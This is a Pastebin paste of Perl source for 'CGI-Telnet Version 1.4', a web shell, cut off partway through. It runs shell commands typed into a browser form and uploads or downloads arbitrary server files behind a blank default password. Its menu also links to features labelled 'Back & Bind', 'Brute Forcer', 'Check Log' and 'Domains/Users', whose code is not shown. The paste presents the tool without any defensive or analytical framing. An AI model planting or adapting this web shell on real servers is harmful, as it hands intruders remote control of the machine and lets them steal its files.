simoow

Untitled

Feb 1st, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 48.54 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.4";
  4. $EditPersion="Cu Heo";
  5.  
  6. $Password = ""; # Change this. You will need to enter this
  7. # to login.
  8. sub Is_Win(){
  9. $os = &trim($ENV{"SERVER_SOFTWARE"});
  10. if($os =~ m/win/i){
  11. return 1;
  12. }else{
  13. return 0;
  14. }
  15. }
  16. $WinNT = &Is_Win(); # You need to change the value of this to 1 if
  17. # you're running this script on a Windows NT
  18. # machine. If you're running it on Unix, you
  19. # can leave the value as it is.
  20.  
  21. $NTCmdSep = "&"; # This character is used to seperate 2 commands
  22. # in a command line on Windows NT.
  23.  
  24. $UnixCmdSep = ";"; # This character is used to seperate 2 commands
  25. # in a command line on Unix.
  26.  
  27. $CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
  28. # Don't set this to a very large value. This is
  29. # useful for commands that may hang or that
  30. # take very long to execute, like "find /".
  31. # This is valid only on Unix servers. It is
  32. # ignored on NT Servers.
  33.  
  34. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
  35. # browser as soon as it is output, otherwise
  36. # it is buffered and send when the command
  37. # completes. This is useful for commands like
  38. # ping, so that you can see the output as it
  39. # is being generated.
  40.  
  41. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  42.  
  43. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  44. $CmdPwd = ($WinNT ? "cd" : "pwd");
  45. $PathSep = ($WinNT ? "\\" : "/");
  46. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  47. $cols= 130;
  48. $rows= 26;
  49. #------------------------------------------------------------------------------
  50. # Reads the input sent by the browser and parses the input variables. It
  51. # parses GET, POST and multipart/form-data that is used for uploading files.
  52. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  53. # Other variables can be accessed using $in{'var'}, where var is the name of
  54. # the variable. Note: Most of the code in this function is taken from other CGI
  55. # scripts.
  56. #------------------------------------------------------------------------------
  57. sub ReadParse
  58. {
  59. local (*in) = @_ if @_;
  60. local ($i, $loc, $key, $val);
  61. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  62. if($ENV{'REQUEST_METHOD'} eq "GET")
  63. {
  64. $in = $ENV{'QUERY_STRING'};
  65. }
  66. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  67. {
  68. binmode(STDIN) if $MultipartFormData & $WinNT;
  69. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  70. }
  71. # handle file upload data
  72. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  73. {
  74. $Boundary = '--'.$1; # please refer to RFC1867
  75. @list = split(/$Boundary/, $in);
  76. $HeaderBody = $list[1];
  77. $HeaderBody =~ /\r\n\r\n|\n\n/;
  78. $Header = $`;
  79. $Body = $';
  80. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  81. $in{'filedata'} = $Body;
  82. $Header =~ /filename=\"(.+)\"/;
  83. $in{'f'} = $1;
  84. $in{'f'} =~ s/\"//g;
  85. $in{'f'} =~ s/\s//g;
  86.  
  87. # parse trailer
  88. for($i=2; $list[$i]; $i++)
  89. {
  90. $list[$i] =~ s/^.+name=$//;
  91. $list[$i] =~ /\"(\w+)\"/;
  92. $key = $1;
  93. $val = $';
  94. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  95. $val =~ s/%(..)/pack("c", hex($1))/ge;
  96. $in{$key} = $val;
  97. }
  98. }
  99. else # standard post data (url encoded, not multipart)
  100. {
  101. @in = split(/&/, $in);
  102. foreach $i (0 .. $#in)
  103. {
  104. $in[$i] =~ s/\+/ /g;
  105. ($key, $val) = split(/=/, $in[$i], 2);
  106. $key =~ s/%(..)/pack("c", hex($1))/ge;
  107. $val =~ s/%(..)/pack("c", hex($1))/ge;
  108. $in{$key} .= "\0" if (defined($in{$key}));
  109. $in{$key} .= $val;
  110. }
  111. }
  112. }
  113. #------------------------------------------------------------------------------
  114. # function EncodeDir: encode base64 Path
  115. #------------------------------------------------------------------------------
  116. sub EncodeDir
  117. {
  118. my $dir = shift;
  119. $dir = trim(encode_base64($dir));
  120. $dir =~ s/(\r|\n)//;
  121. return $dir;
  122. }
  123. #------------------------------------------------------------------------------
  124. # Prints the HTML Page Header
  125. # Argument 1: Form item name to which focus should be set
  126. #------------------------------------------------------------------------------
  127. sub PrintPageHeader
  128. {
  129. $EncodeCurrentDir = EncodeDir($CurrentDir);
  130. my $id = `id` if(!$WinNT);
  131. my $info = `uname -s -n -r -i`;
  132. print "Content-type: text/html\n\n";
  133. print <<END;
  134. <html>
  135. <head>
  136. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  137. <title>o---[ $Version ]</title>
  138. $HtmlMetaHeader
  139. </head>
  140. <style>
  141. body{
  142. font: 10pt Verdana;
  143. color: #fff;
  144. }
  145. tr,td,table,input,textarea {
  146. BORDER-RIGHT: #3e3e3e 1px solid;
  147. BORDER-TOP: #3e3e3e 1px solid;
  148. BORDER-LEFT: #3e3e3e 1px solid;
  149. BORDER-BOTTOM: #3e3e3e 1px solid;
  150. }
  151. #domain tr:hover{
  152. background-color: #444;
  153. }
  154. td {
  155. color: #2BA8EC;
  156. }
  157. .listdir td{
  158. text-align: center;
  159. }
  160. .listdir th{
  161. color: #FF9900;
  162. }
  163. .dir,.file
  164. {
  165. text-align: left !important;
  166. }
  167. .dir{
  168. font-size: 10pt;
  169. font-weight: bold;
  170. }
  171. table {
  172. BACKGROUND-COLOR: #111;
  173. }
  174. input {
  175. BACKGROUND-COLOR: Black;
  176. color: #ff9900;
  177. }
  178. input.submit {
  179. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  180. color: #FFFFFF;
  181. border-color: #009900;
  182. }
  183. code {
  184. border: dashed 0px #333;
  185. color: while;
  186. }
  187. run {
  188. border : dashed 0px #333;
  189. color: #FF00AA;
  190. }
  191. textarea {
  192. BACKGROUND-COLOR: #1b1b1b;
  193. font: Fixedsys bold;
  194. color: #aaa;
  195. }
  196. A:link {
  197. COLOR: #2BA8EC; TEXT-DECORATION: none
  198. }
  199. A:visited {
  200. COLOR: #2BA8EC; TEXT-DECORATION: none
  201. }
  202. A:hover {
  203. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  204. color: #FFFFFF; TEXT-DECORATION: none
  205. }
  206. A:active {
  207. color: Red; TEXT-DECORATION: none
  208. }
  209. .listdir tr:hover{
  210. background: #444;
  211. }
  212. .listdir tr:hover td{
  213. background: #444;
  214. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  215. color: #FFFFFF; TEXT-DECORATION: none;
  216. }
  217. .notline{
  218. background: #111;
  219. }
  220. .line{
  221. background: #222;
  222. }
  223. </style>
  224. <script language="javascript">
  225. function Encoder(name)
  226. {
  227. var e = document.getElementById(name);
  228. e.value = btoa(e.value);
  229. return true;
  230. }
  231. function chmod_form(i,file)
  232. {
  233. document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  234. document.getElementById("text_" + i).focus();
  235. }
  236. function rm_chmod_form(response,i,perms,file)
  237. {
  238. response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  239. }
  240. function rename_form(i,file,f)
  241. {
  242. f.replace(/\\\\/g,"\\\\\\\\");
  243. var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  244. document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  245. document.getElementById("text_" + i).focus();
  246. }
  247. function rm_rename_form(i,file,f)
  248. {
  249. if(f=='f')
  250. {
  251. document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  252. }else
  253. {
  254. document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  255. }
  256. }
  257. </script>
  258. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  259. <center><code>
  260. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  261. <tr>
  262. <td align="center" rowspan=3>
  263. <b><font size="3">o---[ $EditPersion ]---o</font></b>
  264. </td>
  265. <td>
  266. $info
  267. </td>
  268. <td>Server IP:<font color="#ff9900"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#ff9900">$ENV{'REMOTE_ADDR'}</font>
  269. </td>
  270. </tr>
  271. <tr>
  272. <td colspan="2">
  273. <a href="$ScriptLocation">Home</a> |
  274. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  275. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  276. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  277. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Download File</a> |
  278. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  279. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  280. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  281. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  282. <a href="$ScriptLocation?a=logout">Logout</a> |
  283. <a target='_blank' href="#">Help</a>
  284. </td>
  285. </tr>
  286. <tr>
  287. <td colspan="2">
  288. $id
  289. </td>
  290. </tr>
  291. </table>
  292. <font id="ResponseData" color="#FFFFFF" >
  293. END
  294. }
  295. #------------------------------------------------------------------------------
  296. # Prints the Login Screen
  297. #------------------------------------------------------------------------------
  298. sub PrintLoginScreen
  299. {
  300. print <<END;
  301. <pre><script type="text/javascript">
  302. TypingText = function(element, interval, cursor, finishedCallback) {
  303. if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  304. this.running = true; // Never run.
  305. return;
  306. }
  307. this.element = element;
  308. this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  309. this.interval = (typeof interval == "undefined" ? 100 : interval);
  310. this.origText = this.element.innerHTML;
  311. this.unparsedOrigText = this.origText;
  312. this.cursor = (cursor ? cursor : "");
  313. this.currentText = "";
  314. this.currentChar = 0;
  315. this.element.typingText = this;
  316. if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  317. TypingText.all.push(this);
  318. this.running = false;
  319. this.inTag = false;
  320. this.tagBuffer = "";
  321. this.inHTMLEntity = false;
  322. this.HTMLEntityBuffer = "";
  323. }
  324. TypingText.all = new Array();
  325. TypingText.currentIndex = 0;
  326. TypingText.runAll = function() {
  327. for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  328. }
  329. TypingText.prototype.run = function() {
  330. if(this.running) return;
  331. if(typeof this.origText == "undefined") {
  332. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
  333. return;
  334. }
  335. if(this.currentText == "") this.element.innerHTML = "";
  336. // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
  337. if(this.currentChar < this.origText.length) {
  338. if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  339. this.tagBuffer = "<";
  340. this.inTag = true;
  341. this.currentChar++;
  342. this.run();
  343. return;
  344. } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  345. this.tagBuffer += ">";
  346. this.inTag = false;
  347. this.currentText += this.tagBuffer;
  348. this.currentChar++;
  349. this.run();
  350. return;
  351. } else if(this.inTag) {
  352. this.tagBuffer += this.origText.charAt(this.currentChar);
  353. this.currentChar++;
  354. this.run();
  355. return;
  356. } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  357. this.HTMLEntityBuffer = "&";
  358. this.inHTMLEntity = true;
  359. this.currentChar++;
  360. this.run();
  361. return;
  362. } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  363. this.HTMLEntityBuffer += ";";
  364. this.inHTMLEntity = false;
  365. this.currentText += this.HTMLEntityBuffer;
  366. this.currentChar++;
  367. this.run();
  368. return;
  369. } else if(this.inHTMLEntity) {
  370. this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  371. this.currentChar++;
  372. this.run();
  373. return;
  374. } else {
  375. this.currentText += this.origText.charAt(this.currentChar);
  376. }
  377. this.element.innerHTML = this.currentText;
  378. this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  379. this.currentChar++;
  380. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  381. } else {
  382. this.currentText = "";
  383. this.currentChar = 0;
  384. this.running = false;
  385. this.finishedCallback();
  386. }
  387. }
  388. </script>
  389. </pre>
  390.  
  391. <br>
  392.  
  393. <script type="text/javascript">
  394. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  395. TypingText.runAll();
  396.  
  397. </script>
  398. END
  399. }
  400. #------------------------------------------------------------------------------
  401. # encode html special chars
  402. #------------------------------------------------------------------------------
  403. sub UrlEncode($){
  404. my $str = shift;
  405. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  406. return $str;
  407. }
  408. #------------------------------------------------------------------------------
  409. # Add html special chars
  410. #------------------------------------------------------------------------------
  411. sub HtmlSpecialChars($){
  412. my $text = shift;
  413. $text =~ s/&/&amp;/g;
  414. $text =~ s/"/&quot;/g;
  415. $text =~ s/'/&#039;/g;
  416. $text =~ s/</&lt;/g;
  417. $text =~ s/>/&gt;/g;
  418. return $text;
  419. }
  420. #------------------------------------------------------------------------------
  421. # Add link for directory
  422. #------------------------------------------------------------------------------
  423. sub AddLinkDir($)
  424. {
  425. my $ac=shift;
  426. my @dir=();
  427. if($WinNT)
  428. {
  429. @dir=split(/\\/,$CurrentDir);
  430. }else
  431. {
  432. @dir=split("/",&trim($CurrentDir));
  433. }
  434. my $path="";
  435. my $result="";
  436. foreach (@dir)
  437. {
  438. $path .= $_.$PathSep;
  439. $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  440. }
  441. return $result;
  442. }
  443. #------------------------------------------------------------------------------
  444. # Prints the message that informs the user of a failed login
  445. #------------------------------------------------------------------------------
  446. sub PrintLoginFailedMessage
  447. {
  448. print <<END;
  449.  
  450.  
  451. Password:<br>
  452. Login incorrect<br><br>
  453. END
  454. }
  455.  
  456. #------------------------------------------------------------------------------
  457. # Prints the HTML form for logging in
  458. #------------------------------------------------------------------------------
  459. sub PrintLoginForm
  460. {
  461. print <<END;
  462. <form name="f" method="POST" action="$ScriptLocation">
  463. <input type="hidden" name="a" value="login">
  464. Login : Administrator<br>
  465. Password:<input type="password" name="p">
  466. <input class="submit" type="submit" value="Enter">
  467. </form>
  468. END
  469. }
  470. #------------------------------------------------------------------------------
  471. # Prints the footer for the HTML Page
  472. #------------------------------------------------------------------------------
  473. sub PrintPageFooter
  474. {
  475. print "<br><font color=red>o---[ <font color=#ff9900>Edit by $EditPersion </font> ]---o</font></code></center></body></html>";
  476. }
  477. #------------------------------------------------------------------------------
  478. # Retreives the values of all cookies. The cookies can be accesses using the
  479. # variable $Cookies{''}
  480. #------------------------------------------------------------------------------
  481. sub GetCookies
  482. {
  483. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  484. foreach $cookie(@httpcookies)
  485. {
  486. ($id, $val) = split(/=/, $cookie);
  487. $Cookies{$id} = $val;
  488. }
  489. }
  490. #------------------------------------------------------------------------------
  491. # Prints the screen when the user logs out
  492. #------------------------------------------------------------------------------
  493. sub PrintLogoutScreen
  494. {
  495. print "Connection closed by foreign host.<br><br>";
  496. }
  497.  
  498. #------------------------------------------------------------------------------
  499. # Logs out the user and allows the user to login again
  500. #------------------------------------------------------------------------------
  501. sub PerformLogout
  502. {
  503. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  504. &PrintPageHeader("p");
  505. &PrintLogoutScreen;
  506.  
  507. &PrintLoginScreen;
  508. &PrintLoginForm;
  509. &PrintPageFooter;
  510. exit;
  511. }
  512.  
  513. #------------------------------------------------------------------------------
  514. # This function is called to login the user. If the password matches, it
  515. # displays a page that allows the user to run commands. If the password doens't
  516. # match or if no password is entered, it displays a form that allows the user
  517. # to login
  518. #------------------------------------------------------------------------------
  519. sub PerformLogin
  520. {
  521. if($LoginPassword eq $Password) # password matched
  522. {
  523. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  524. &PrintPageHeader;
  525. print &ListDir;
  526. }
  527. else # password didn't match
  528. {
  529. &PrintPageHeader("p");
  530. &PrintLoginScreen;
  531. if($LoginPassword ne "") # some password was entered
  532. {
  533. &PrintLoginFailedMessage;
  534.  
  535. }
  536. &PrintLoginForm;
  537. &PrintPageFooter;
  538. exit;
  539. }
  540. }
  541. #------------------------------------------------------------------------------
  542. # Prints the HTML form that allows the user to enter commands
  543. #------------------------------------------------------------------------------
  544. sub PrintCommandLineInputForm
  545. {
  546. $EncodeCurrentDir = EncodeDir($CurrentDir);
  547. my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  548. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  549. return <<END;
  550. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  551.  
  552. <input type="hidden" name="a" value="command">
  553.  
  554. <input type="hidden" name="d" value="$EncodeCurrentDir">
  555. $Prompt
  556. <input type="text" size="40" name="c" id="c">
  557. <input class="submit" type="submit" value="Enter">
  558. </form>
  559. END
  560. }
  561. #------------------------------------------------------------------------------
  562. # Prints the HTML form that allows the user to download files
  563. #------------------------------------------------------------------------------
  564. sub PrintFileDownloadForm
  565. {
  566. $EncodeCurrentDir = EncodeDir($CurrentDir);
  567. my $dir = &AddLinkDir("download");
  568. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  569. return <<END;
  570. <form name="f" method="POST" action="$ScriptLocation">
  571. <input type="hidden" name="d" value="$EncodeCurrentDir">
  572. <input type="hidden" name="a" value="download">
  573. $Prompt download<br><br>
  574. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  575. Download: <input class="submit" type="submit" value="Begin">
  576.  
  577. </form>
  578. END
  579. }
  580.  
  581. #------------------------------------------------------------------------------
  582. # Prints the HTML form that allows the user to upload files
  583. #------------------------------------------------------------------------------
  584. sub PrintFileUploadForm
  585. {
  586. $EncodeCurrentDir = EncodeDir($CurrentDir);
  587. my $dir= &AddLinkDir("upload");
  588. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  589. return <<END;
  590. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  591. $Prompt upload<br><br>
  592. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  593. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  594. <label for="up">Overwrite if it Exists</label><br><br>
  595. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  596. <input type="hidden" name="d" value="$EncodeCurrentDir">
  597. <input class="submit" type="hidden" name="a" value="upload">
  598. </form>
  599. END
  600. }
  601.  
  602. #------------------------------------------------------------------------------
  603. # This function is called when the timeout for a command expires. We need to
  604. # terminate the script immediately. This function is valid only on Unix. It is
  605. # never called when the script is running on NT.
  606. #------------------------------------------------------------------------------
  607. sub CommandTimeout
  608. {
  609. if(!$WinNT)
  610. {
  611. alarm(0);
  612. return <<END;
  613. </textarea>
  614. <br><font color=yellow>
  615. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  616. <br><font size='6' color=red>Killed it!</font>
  617. END
  618. }
  619. }
  620. #------------------------------------------------------------------------------
  621. # This function displays the page that contains a link which allows the user
  622. # to download the specified file. The page also contains a auto-refresh
  623. # feature that starts the download automatically.
  624. # Argument 1: Fully qualified filename of the file to be downloaded
  625. #------------------------------------------------------------------------------
  626. sub PrintDownloadLinkPage
  627. {
  628. local($FileUrl) = @_;
  629. my $result="";
  630. if(-e $FileUrl) # if the file exists
  631. {
  632. # encode the file link so we can send it to the browser
  633. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  634. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  635. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  636. &PrintPageHeader("c");
  637. $result .= <<END;
  638. Sending File $TransferFile...<br>
  639.  
  640. If the download does not start automatically,
  641. <a href="$DownloadLink">Click Here</a>
  642. END
  643. $result .= &PrintCommandLineInputForm;
  644. }
  645. else # file doesn't exist
  646. {
  647. $result .= "Failed to download $FileUrl: $!";
  648. $result .= &PrintFileDownloadForm;
  649. }
  650. return $result;
  651. }
  652. #------------------------------------------------------------------------------
  653. # This function reads the specified file from the disk and sends it to the
  654. # browser, so that it can be downloaded by the user.
  655. # Argument 1: Fully qualified pathname of the file to be sent.
  656. #------------------------------------------------------------------------------
  657. sub SendFileToBrowser
  658. {
  659. my $result = "";
  660. local($SendFile) = @_;
  661. if(open(SENDFILE, $SendFile)) # file opened for reading
  662. {
  663. if($WinNT)
  664. {
  665. binmode(SENDFILE);
  666. binmode(STDOUT);
  667. }
  668. $FileSize = (stat($SendFile))[7];
  669. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  670. print "Content-Type: application/x-unknown\n";
  671. print "Content-Length: $FileSize\n";
  672. print "Content-Disposition: attachment; filename=$1\n\n";
  673. print while(<SENDFILE>);
  674. close(SENDFILE);
  675. exit(1);
  676. }
  677. else # failed to open file
  678. {
  679. $result .= "Failed to download $SendFile: $!";
  680. $result .=&PrintFileDownloadForm;
  681. }
  682. return $result;
  683. }
  684. #------------------------------------------------------------------------------
  685. # This function is called when the user downloads a file. It displays a message
  686. # to the user and provides a link through which the file can be downloaded.
  687. # This function is also called when the user clicks on that link. In this case,
  688. # the file is read and sent to the browser.
  689. #------------------------------------------------------------------------------
  690. sub BeginDownload
  691. {
  692. $EncodeCurrentDir = EncodeDir($CurrentDir);
  693. # get fully qualified path of the file to be downloaded
  694. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  695. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  696. {
  697. $TargetFile = $TransferFile;
  698. }
  699. else # path is relative
  700. {
  701. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  702. $TargetFile .= $PathSep.$TransferFile;
  703. }
  704.  
  705. if($Options eq "go") # we have to send the file
  706. {
  707. &SendFileToBrowser($TargetFile);
  708. }
  709. else # we have to send only the link page
  710. {
  711. &PrintDownloadLinkPage($TargetFile);
  712. }
  713. }
  714.  
  715. #------------------------------------------------------------------------------
  716. # This function is called when the user wants to upload a file. If the
  717. # file is not specified, it displays a form allowing the user to specify a
  718. # file, otherwise it starts the upload process.
  719. #------------------------------------------------------------------------------
  720. sub UploadFile
  721. {
  722. # if no file is specified, print the upload form again
  723. if($TransferFile eq "")
  724. {
  725. return &PrintFileUploadForm;
  726.  
  727. }
  728. my $result="";
  729. # start the uploading process
  730. $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  731.  
  732. # get the fullly qualified pathname of the file to be created
  733. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  734. $TransferFile =~ m!([^/^\\]*)$!;
  735. $TargetName .= $PathSep.$1;
  736.  
  737. $TargetFileSize = length($in{'filedata'});
  738. # if the file exists and we are not supposed to overwrite it
  739. if(-e $TargetName && $Options ne "overwrite")
  740. {
  741. $result .= "Failed: Destination file already exists.<br>";
  742. }
  743. else # file is not present
  744. {
  745. if(open(UPLOADFILE, ">$TargetName"))
  746. {
  747. binmode(UPLOADFILE) if $WinNT;
  748. print UPLOADFILE $in{'filedata'};
  749. close(UPLOADFILE);
  750. $result .= "Transfered $TargetFileSize Bytes.<br>";
  751. $result .= "File Path: $TargetName<br>";
  752. }
  753. else
  754. {
  755. $result .= "Failed: $!<br>";
  756. }
  757. }
  758. $result .= &PrintCommandLineInputForm;
  759. return $result;
  760. }
  761. #------------------------------------------------------------------------------
  762. # This function is called when the user wants to download a file. If the
  763. # filename is not specified, it displays a form allowing the user to specify a
  764. # file, otherwise it displays a message to the user and provides a link
  765. # through which the file can be downloaded.
  766. #------------------------------------------------------------------------------
  767. sub DownloadFile
  768. {
  769. # if no file is specified, print the download form again
  770. if($TransferFile eq "")
  771. {
  772. &PrintPageHeader("f");
  773. return &PrintFileDownloadForm;
  774. }
  775.  
  776. # get fully qualified path of the file to be downloaded
  777. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  778. {
  779. $TargetFile = $TransferFile;
  780. }
  781. else # path is relative
  782. {
  783. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  784. $TargetFile .= $PathSep.$TransferFile;
  785. }
  786.  
  787. if($Options eq "go") # we have to send the file
  788. {
  789. return &SendFileToBrowser($TargetFile);
  790. }
  791. else # we have to send only the link page
  792. {
  793. return &PrintDownloadLinkPage($TargetFile);
  794. }
  795. }
  796. #------------------------------------------------------------------------------
  797. # This function is called to execute commands. It displays the output of the
  798. # command and allows the user to enter another command. The change directory
  799. # command is handled differently. In this case, the new directory is stored in
  800. # an internal variable and is used each time a command has to be executed. The
  801. # output of the change directory command is not displayed to the users
  802. # therefore error messages cannot be displayed.
  803. #------------------------------------------------------------------------------
  804. sub ExecuteCommand
  805. {
  806. $CurrentDir = &TrimSlashes($CurrentDir);
  807. my $result="";
  808. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  809. {
  810. # we change the directory internally. The output of the
  811. # command is not displayed.
  812. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  813. chomp($CurrentDir = `$Command`);
  814. $result .= &PrintCommandLineInputForm;
  815.  
  816. $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  817. # xuat thong tin khi chuyen den 1 thu muc nao do!
  818. $RunCommand= $WinNT?"dir":"dir -lia";
  819. $result .= &RunCmd;
  820. }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  821. {
  822. $result .= &SaveFileForm;
  823. }else
  824. {
  825. $result .= &PrintCommandLineInputForm;
  826. $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  827. $result .=&RunCmd;
  828. }
  829. $result .= "</textarea>";
  830. return $result;
  831. }
  832. #------------------------------------------------------------------------
  833. # run command
  834. #------------------------------------------------------------------------
  835. sub RunCmd
  836. {
  837. my $result="";
  838. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  839. if(!$WinNT)
  840. {
  841. $SIG{'ALRM'} = \&CommandTimeout;
  842. alarm($CommandTimeoutDuration);
  843. }
  844. if($ShowDynamicOutput) # show output as it is generated
  845. {
  846. $|=1;
  847. $Command .= " |";
  848. open(CommandOutput, $Command);
  849. while(<CommandOutput>)
  850. {
  851. $_ =~ s/(\n|\r\n)$//;
  852. $result .= &HtmlSpecialChars("$_\n");
  853. }
  854. $|=0;
  855. }
  856. else # show output after command completes
  857. {
  858. $result .= &HtmlSpecialChars($Command);
  859. }
  860. if(!$WinNT)
  861. {
  862. alarm(0);
  863. }
  864. return $result;
  865. }
  866. #==============================================================================
  867. # Form Save File
  868. #==============================================================================
  869. sub SaveFileForm
  870. {
  871. my $result ="";
  872. $EncodeCurrentDir = EncodeDir($CurrentDir);
  873. substr($RunCommand,0,5)="";
  874. my $file=&trim($RunCommand);
  875. $save='<br><input name="a" type="submit" value="save" class="submit" >';
  876. $File=$CurrentDir.$PathSep.$RunCommand;
  877. my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  878. if(-w $File)
  879. {
  880. $rows="23"
  881. }else
  882. {
  883. $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  884. $rows="20"
  885. }
  886. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  887. $RunCommand = "edit $RunCommand";
  888. $result .= <<END;
  889. <form name="f" method="POST" action="$ScriptLocation">
  890.  
  891. <input type="hidden" name="d" value="$EncodeCurrentDir">
  892. $Prompt
  893. <input type="text" size="40" name="c">
  894. <input name="s" class="submit" type="submit" value="Enter">
  895. <br>Command: <run> $RunCommand </run>
  896. <input type="hidden" name="file" value="$file" > $save <br> $msg
  897. <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  898. END
  899.  
  900. $result .= &HtmlSpecialChars(&FileOpen($File,0));
